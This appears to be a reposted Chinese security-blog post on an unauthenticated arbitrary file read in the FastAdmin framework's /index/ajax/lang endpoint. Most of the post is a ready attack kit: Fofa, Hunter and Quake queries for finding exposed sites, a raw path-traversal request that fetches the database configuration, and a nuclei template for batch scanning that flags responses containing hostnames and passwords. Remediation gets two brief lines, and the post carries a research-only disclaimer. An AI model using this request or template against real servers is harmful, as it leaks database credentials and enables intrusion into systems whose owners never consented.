FastAdmin 开源后台框架 任意文件读取漏洞

admin 2024年6月19日20:31:04评论60 views字数 1450阅读4分50秒阅读模式

 

0x02 漏洞介绍
Vulnerability introduction
    FastAdmin 开源后台框架/index/ajax/lang接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件,例如数据库配置文件、系统配置文件等。
0x03 搜索语法
Search for syntax
  • Fofa:
body="/assets/js/require.js"
  • Hunter
body="/assets/js/require.js"
  • Quake
body="/assets/js/require.js"

FastAdmin 开源后台框架 任意文件读取漏洞

0x04 漏洞复现
Request packets
  • 请求接口读取数据库配置文件
GET /index/ajax/lang?lang=..//..//application/database HTTP/1.1
Host: your-ip
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
FastAdmin 开源后台框架 任意文件读取漏洞
0x05 nuclei POC
nuclei POC
  • Nuclei 批量检测POC
  • 所用方法nuclei.exe -l 网址文件.txt -t POC.yaml
id: FastAdmin_lang_Fileread

info:
  name: FastAdmin_lang_Fileread
  author: security-xm
  severity: high
  description: FastAdmin 开源后台框架/index/ajax/lang接口存在任意文件读取漏洞
  metadata:
    max-request: 1
    shodan-query: ""
    verified: true

http:
  - raw:
      - |+
        GET /index/ajax/lang?lang=..//..//application/database HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: zh-CN,zh;q=0.9
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
        Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
        Accept-Encoding: gzip, deflate
        Connection: close

    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - hostname
          - password
        condition: and

FastAdmin 开源后台框架 任意文件读取漏洞

0x07 修复建议
Remediation recommendations
  • 在Web应用防火墙中添加接口临时黑名单规则
  • 联系厂商打补丁或升级版本。

FastAdmin 开源后台框架 任意文件读取漏洞

原文始发于微信公众号(小明信安):【漏洞复现 | 含批量POC】FastAdmin 开源后台框架 任意文件读取漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月19日20:31:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastAdmin 开源后台框架 任意文件读取漏洞https://cn-sec.com/archives/2863575.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息